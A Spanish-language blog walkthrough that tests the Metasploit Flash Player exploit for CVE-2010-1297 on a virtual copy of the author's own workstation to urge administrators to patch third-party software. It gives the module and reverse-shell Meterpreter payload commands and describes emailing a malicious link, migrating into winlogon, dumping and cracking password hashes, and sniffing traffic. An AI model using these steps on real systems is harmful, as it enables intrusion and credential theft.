Metasploit con Adobe Flash Player: Un ejemplo

Leo asiduamente el blog de Chema Alonso, un personaje que me sorprende, ya no tan sólo por sus conocimientos en el tema, sino por la capacidad de trabajo que puede llegar a tener una persona con tanto dinamismo, para estar en tantos sitios a la vez y hacerlo bien.

Volviendo al blog de Chema Alonso hay algo que me tiene un poco intrigado y es que, haciendo honor al nombre del blog: "El lado del mal", no haya más espacio para una de las herramientas más elaboradas que hasta ahora he conocido: Metasploit Framework.

Hd Moore fundó el proyecto Metasploit en julio de 2003, originariamente escrita en lenguaje Perl – "El visual Basic de Linux", según dijo en la BlackHat DC 2010 – y que fue migrada posteriormente a Ruby. Hoy en día es un entorno de penetración en sistemas vulnerables, que consta de una consola en modo comandos y entorno de trabajo basado en web. Su objetivo se centra en la explotación de vulnerabilidades mediante una base de datos de exploits actualizada. Es una herramienta muy potente y se mantiene bajo una licencia Open Source.


He utilizado esta herramienta para escribir este artículo sobre una prueba realizada con un exploit para Adobe Flash Player. La idea es concientizar a los administradores de la necesidad de establecer una política de actualizaciones de seguridad para toda la utilería instalada en sus sistemas. La historia comienza con una noticia que salio el pasado 12/06/2010 en una-al-día (la sección de noticias de Hispasec). En ella, bajo el título de "Adobe soluciona 32 fallos de seguridad en Flash Player (y deja uno Compartido con Adobe Reader sin corregir)

" se alertaba de que:

"Adobe no iba a publicar ninguna actualización hasta el 13 de julio, pero, dada la gravedad de uno de los fallos, se ha visto obligada a adelantar esta nueva versión. En concreto, se trata de CVE-2010-1297, que permite la ejecución de código y que ha sido incluido en Metasploit."

Al ver que el exploit estaba disponible en Metasploit decido ponerme manos a la obra. Actualmente administro un parque de 60 equipos todos ellos actualizados al día y con su respectivo antivirus - en mi caso nod32 -. Todos están configurados con el firewall de Windows XP activado en los clientes. Dentro de mi vanidad, como administrador de sistemas preocupado que creo ser, suelo dudar sobre el impacto de estas noticias en mis sistemas, ya que estoy dentro de los márgenes aceptables de protección (o eso es lo que yo creía ya que la realidad me demostró que no es así).

Lo primero que hice es crearme un imagen de una estación de trabajo con vmware converter, para posteriormente ejecutarlo en una maquina virtual con vmwareplayer. Una vez arrancada la máquina virtual compruebo el estado del equipo, para que esté igual que mis plataformas de trabajo. Es decir, Firewall activo y el sistema operativo y el antivirus actualizado.

Figura 1: Firewall activado

Figura 2: Actualizaciones del sistema

Figura 3: AV activo y actualizado
Una vez que he comprobado que los componentes están al día, ejecuto la consola de Metasploit, msfconsole, en el lado del atacante.

Figura 4: msfconsole
Una vez dentro se busca el exploit al que se refería la noticia, relativo a Adobe Flash Player.

Figura 5: Exploits Adobe Flash Player
Como se puede apreciar en la figura superior, hay dos exploits a escoger. El primero se lanza mediante un link que la victima debe ejecutar en el navegador. El segundo es igual pero su explotación está pensada como un fichero flash que deberá ser enviado por correo al estilo de las famosas "cadenas de correo de ficheros graciosos".

En este ejemplo me decanto por el primero y empiezo la configuración del exploit. Metasploit permite escoger el exploit a utilizar y para cada uno de ellos existe una lista de parámetros configurables y payloads personalizables.

Con "use windows/browser/adobe_flashplayer_newfunction", se selecciona el exploit. Con "Show options" se configuran las opciones del exploit seleccionado. Éste en concreto permite montar un pequeño servidor web donde se alojará el enlace malicioso con el payload.

Figura 6: Módulos del exploit

Como opciones, tal y como se ve en la Figura 6, se han seleccionado el SRVHOST, el SRVPORT, y el URIPATH. Seguidamente se selecciona el payload, en este caso, Meterpreter, que ofrece un consola con varias opciones muy interesantes como hasdump, sniffing, keylogging, screencapture, etcétera.

Con "set payload windows/meterpreter/reverse_tcp" se selecciona el payload que devolverá, en este caso, devolverá una session remota al equipo. Este payload también consta de opciones de configuración que deben ser cargadas. En este caso LHOST corresponde al equipo y puerto atacante donde nos recepcionará la consola.

Figura 7: Configuración del payload
Una vez que se tiene configurado el exploit, sólo queda ejecutarlo y algo más:

Figura 8: Ejecución del exploit
Como se muestra en la figura 8, se ha creado un Server en nuestra maquina local esperando una conexión. Del lado de la victima se recibirá un enlace que será enviado a una dirección de correo por e-mail en el que se indica a hacer clic en él. Si la víctima lo hace, únicamente ocurre lo siguiente:

Figura 9: Servidor web esperando
Pero del lado del atacante algo ha ocurrido, Metasploit ha devuelto una sesión con una conexión remota en la máqina de la víctima.

Figura 10: Sesión remota
El siguiente paso será migrar el proceso a otro para evitar que la consexión sea cerrada si se mata el proceso, en este caso Iexplore. Una vez hecho se cambia la conexión.

Figura 11: Haciendo residente y permanente la sesión

Ahora se pueden aproverchar las características de meterpreter para por ejemplos hacer un volcado de las cuentas de usuario almacenadas en la maquina local junto con sus hashes. Para ello se puede mover el control al proceso de Winlogon en Windows XP para volcarlas así que, primero, tal y como se ve en la figura 12, con el comando ps se puede localizar el PID asociado al proceso winlogon.exe para saltar hacia él.

Figura 12: Listado de procesos con meterpreter
Con el comando migrate 952 se mueve el control de meterpreter al proceso de winlogon y, ejecutando el comando de dumpeado de hash se obtienen los hashes de las cuentas.

Figura 13: Migración al proceso de winlogon y volcado de hashes
El resto, es usar Ophcrak y crackear los hashes para obtener las contraseñas. Como se puede ver en la Figura 14, el coste en tiempo de sacar la password del administrador ha sido de 15 segundos y la contraseña no era demasiado sencilla, pero el almacenamiento de los hashes LM simplifican la tarea.

Figura 14: Crackeando los hashes con Ophcrack
Sin embargo, una vez dentro, con meterpreter se pueden hacer múltiples acciones, ya que ofrece un gran número herramientas. En este ejemplo se puede ver como se puede activar el sniffer en la red interna para capturar el tráfico que por allí circula.

Figura 15: Opciones de Sniffing
Como podéis observar nos permite volcar el resultado de las capturas a formato pcap, para posteriormente analizarlo con whireshark, xplico, etc… No es el propósito de este artículo explicar todas la funcionalidades de metasploit o meterpreter. El objetivo es solamente poner un granito de arena para que los administradores no bajéis la guardia. Está bien tener actualizado el sistema operativo, al antivirus, activo el firewall, etcétera, pero hoy es día no es suficiente con esto y hay que catalogar y planificar todas las actualizaciones de seguridad de las utilerías cargadas en las plataformas.

Información extraída de:
- Metasploit con Adobe Flash Player: Un ejemplo (I de III)

- Metasploit con Adobe Flash Player: Un ejemplo (II de III)

- Metasploit con Adobe Flash Player: Un ejemplo (III de III)